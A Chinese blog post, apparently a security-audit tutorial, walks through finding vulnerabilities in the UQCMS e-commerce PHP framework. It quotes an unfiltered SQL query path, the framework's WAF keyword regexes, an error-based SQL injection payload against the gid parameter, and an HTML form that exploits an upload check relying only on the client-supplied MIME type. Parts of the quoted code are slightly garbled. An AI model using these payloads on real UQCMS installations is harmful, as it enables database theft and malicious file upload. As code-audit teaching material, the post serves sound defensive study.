上文地址:http://www.f4ckweb.top/index.php/archives/62/
在文章前面BB两句为什么在我博客,完全是因为不知道先知的审核规则,所以发到博客了。
上一节说了基于系统框架的审计思路,这一节说一下关于开发者自写的框架的审计思路。
在上一节中说到,MVC模式中一般只需要看cotroller中的代码,因为那里面才是能够直接访问到的。但是其实有一点忘记说了,其实也可以直接看框架的核心文件。所以对于自写框架我的审计思路一般是:核心文件->调用地点
而过程一般会先观察程序的架构(由目录命名规则就可以看出来)
本文用到的案例为UQCMS,这是一套电商相关的程序,可自行百度下载。
在框架的核心代码中
首先查看目标程序的目录结构:
由此可见框架核心代码在:UQframework中,模型代码在:module中。
进入UQframework后,发现果然是目标框架。
观察目录以及文件名字可以得出文件具体功能,以db.class.php举列子,发现开发者后门:
function query($uq1) {
if (empty($uq1)) {
return false;
}
$t1 = microtime(true);
$uq3 = $this->conn->query($uq1);
$uq4 = microtime(true) - $t1;
if ($uq4 >= '0.1') {
db_log(date('Y-m-d H:i:s') . ' SLOW: ' . $uq1);
}
if ($this->conn->error) {
echo $this->conn->error;
echo '<br>';
echo $uq1 . '<br>';
db_log(date('Y-m-d H:i:s') . ' ERROR: ' . $uq1);
return false;
}
if ($uq3) {
return $uq3;
} else {
return false;
}
}
在query方法中,并没有任何过滤,直接就带入数据库进行查询了,而其他插入均存在过滤:
function add($uq6, $uq7) {
$uq8 = "";
$uq9 = "";
foreach ($uq7 as $uq10 => $uq11) {
if (@trim($uq11) !== '') {
$uq8.= "`" . $uq10 . "`,";
if (!get_magic_quotes_gpc()) {
$uq9.= " '" . @addslashes($uq11) . "',";
} else {
$uq9.= " '" . $uq11 . "',";
}
}
}
$uq8 = rtrim($uq8, ",");
$uq9 = rtrim($uq9, ",");
$uq1 = "INSERT INTO `{$uq6}` (" . $uq8 . ") VALUES (" . $uq9 . ");";
return $this->query($uq1);
}
查找调用query函数并且没有走过滤的函数,在此文件中有很多,但是调用最多的为get_one函数:
function get_one($uq1) {
$uq3 = $this->query($uq1);
if ($uq3) {
$uq7 = $uq3->fetch_array(MYSQLI_ASSOC);
if ($uq7) {
return $uq7;
} else {
return true;
}
} else {
return false;
}
}
通过seay的工具,搜索出来很多前台的功能点:
/home/controls/demo.class.php
function index() {
$uq0 = $_GET['gid'] ? ? false;
$uq1 = $this->db->get_one("select * from " . table('goods') . " where id = " . $uq0);
if ($uq1['id']) {
$uq2 = '';
if (cfg('distribute_status') == '1') {
if (!empty($this->uid)) {
$uq3 = $this->db->get_one("select id,uid from " . table('distribute') . " where status = 1 and uid = " . $this->uid);
if ($uq3['id']) {
$uq2 = '?trackuid=' . $uq3['id'];
}
}
}
$uq4 = cfg('site_url') . 'goods/' . $uq1['id'] . '.html' . $uq2;
$uq5 = ['img' => [['url' => img_host() . $uq1['images'] . img_size('640x640') ]], 'font' => [['content' => $uq1['title'], 'x' => 20, 'y' => 710, 'width' => 320, 'height' => 80, 'size' => 18], ['content' => '现价', 'x' => 20, 'y' => 820, 'size' => '24', 'color' => '255,0,0,0'], ['content' => '¥' . $uq1['price'], 'x' => 110, 'y' => 820, 'color' => '255,0,0,0', 'size' => '27']], 'qrcode' => ['content' => $uq4, 'x' => 410, 'y' => 680, ]];
images::init()->create($uq5);
}
}
而框架之所以难以挖掘漏洞,完全是因为基本上所有的框架都会有一层强到变态的waf,参考该框架的以下代码:
set_error_handler("customError", E_ERROR);
$uq4 = "'|<[^>]*?>|^\\+\/v(8|9)|\\b(and|or)\\b.+?(>|<|=|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$uq5 = "^\\+\/v(8|9)|\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$uq6 = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function StopAttack($uq7, $uq8, $uq9) {
if (preg_match("/" . $uq9 . "/is", $uq7) == 1) {
safe_error_msg();
}
$uq8 = arr_foreach($uq8);
if (preg_match("/" . $uq9 . "/is", $uq8) == 1) {
safe_error_msg();
} else {
preg_match_all('/<\\s*img[^>]*>/Ui', $uq8, $uq10);
if (!empty($uq10[0])) {
foreach ($uq10[0] as $uq11) {
if ((!strpos($uq11, 'onerror') == '') || (!strpos($uq11, 'javascript') == '')) {
safe_error_msg();
}
}
}
}
}
简单点的payload:
http://127.0.0.1/index.php/demo/index/?gid=2/**/and(updatexml(1,concat(0x7e,user(),0x7e),1))
这样的拦截基本上只能够在变量覆盖,IP地址,多次解码上面做一点文章。但是由于代码并没有格式化,所以楼主也没有去找这些地方
UQframework\class\upload.class.php:
static public function store($uq2, $uq3 = null, $uq4 = null) {
if (empty($uq4)) {
$uq5 = array();
$uq6 = array_values($_FILES);
$uq0 = $uq6[0]['name'];
$uq7 = $uq6[0]['type'];
$uq8 = $uq6[0]['size'];
$uq9 = $uq6[0]['tmp_name'];
} else {
$uq0 = $uq4;
$uq7 = mime_content_type($uq4);
$uq8 = filesize($uq4);
$uq9 = $uq4;
}
if ($uq0) {
if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png'])) {
if ($uq8 < ((1024 * 1024) * 10)) {
if (empty($uq3)) {
$uq3 = $uq2 . '/' . self::reset_new_name($uq0);
}
if (!_is_dir($uq3)) {
file::mk_dir($uq3);
}
if (file::remove($uq9, $uq3)) {
$uq5['error'] = '0';
$uq5['name'] = $uq3;
$uq5['url'] = cfg('site_url') . $uq3;
$uq5['size'] = filesize($uq3);
return $uq5;
} else {
return ['error' => '1', 'msg' => '上传错误'];
}
} else {
return ['error' => '1', 'msg' => '上传文件过大,当前图片' . formatBytes($uq8) ];
}
} else {
return ['error' => '1', 'msg' => '不支持此类型的文件,支持:jpg,gif,png'];
}
} else {
return ['error' => '1', 'msg' => '上传的文件不能为空'];
}
}
可以很明显的发现上面的代码对图片的验证仅仅就只有一句代码:
if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png']))
接下来搜索store此函数:
/home/controls/album.class.php:
public function upload_temp() {
$uq2 = upload::store('temp/images');
echo json_encode($uq2);
}
构造表单:
<form action="http://127.0.0.1/index.php/album/upload_temp/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
说完核心代码,我们在说说模型。什么是模型?
网上的定义为:
程序员编写程序应有的功能(实现算法等等)、数据库专家进行数据管理和数据库设计(可以实现具体的功能)。
也就是说框架的核心代码其实也可以称为模型
在模型中也有一处文件上传,代码如下:
function upload($uq0, $uq2 = '0', $uq3 = null) {
$uq1 = array();
$this - >save_path = $uq0;
$this - >ptype = $uq2;
$this - >new_name = $uq3;
$uq4 = array_keys($_FILES);
$uq4 = $uq4[0];
$uq5 = array_values($_FILES);
$uq6 = $uq5[0]['name'];
$uq7 = $uq5[0]['type'];
$uq8 = $uq5[0]['size'];
$uq9 = $uq5[0]['tmp_name'];
$uq1 = $this - >upload_function($uq4, $uq6, $uq7, $uq8, $uq9);
if ($uq1['error'] == 0) {
return $uq1;
} else {
return $uq1;
}
}
跟进upload_function方法:
function upload_function($uq4, $uq6, $uq7, $uq8, $uq9) {
if ($uq6) {
if (in_array($uq7, ['image/jpeg', 'image/gif', 'image/png', 'jpg', 'gif', 'png'])) {
if ($uq8 < (1024 * 1024 * 2)) {
if (empty($this - >new_name)) {
$uq3 = 'data/'.$this - >save_path.'/'.$this - >reset_name($uq6);
} else {
$uq3 = $this - >new_name;
}
if (cfg('storage_status') == '1') {
$uq10 = new storage();
$uq1 = $uq10 - >upload($uq9, $uq3);
} else {
file: :mk_dir($uq3, true);
if (file: :remove($uq9, $uq3)) {
$uq1['error'] = '0';
$uq1['name'] = $uq3;
$uq1['size'] = filesize($uq3);
$uq1['url'] = $uq3;
} else {
return ['error' = >'1', 'msg' = >'文件移动错误'];
}
}
if ($uq1['error'] == '0') {
$uq11 = $this - >space_size($uq1['name'], $uq1['size'], $this - >ptype);
if ($uq11) {
$uq12['error'] = '0';
$uq12['id'] = $uq11;
$uq12['name'] = $uq1['name'];
$uq12['url'] = $uq1['url'];
if (isset($uq4)) {
$uq12[$uq4] = $uq1['url'];
}
return $uq12;
} else {
return ['error' = >'1', 'msg' = >'录入系统错误'];
}
} else {
return ['error' = >'1', 'msg' = >$uq1['msg']];
}
} else {
return ['error' = >'1', 'msg' = >'上传文件过大,当前图片'.formatBytes($uq8)];
}
} else {
return ['error' = >'1', 'msg' = >'不支持此类型的文件,支持:jpg,gif,png'];
}
} else {
return ['error' = >'1', 'msg' = >'上传的文件不能为空'];
}
}
payload和上文中一样。
在审计自写程序时,可以重点关注核心文件以及模型方法,然后在查看哪些地方调用了该方法/函数
另外各位可以下载UQCMS练手,这套CMS是真的很简单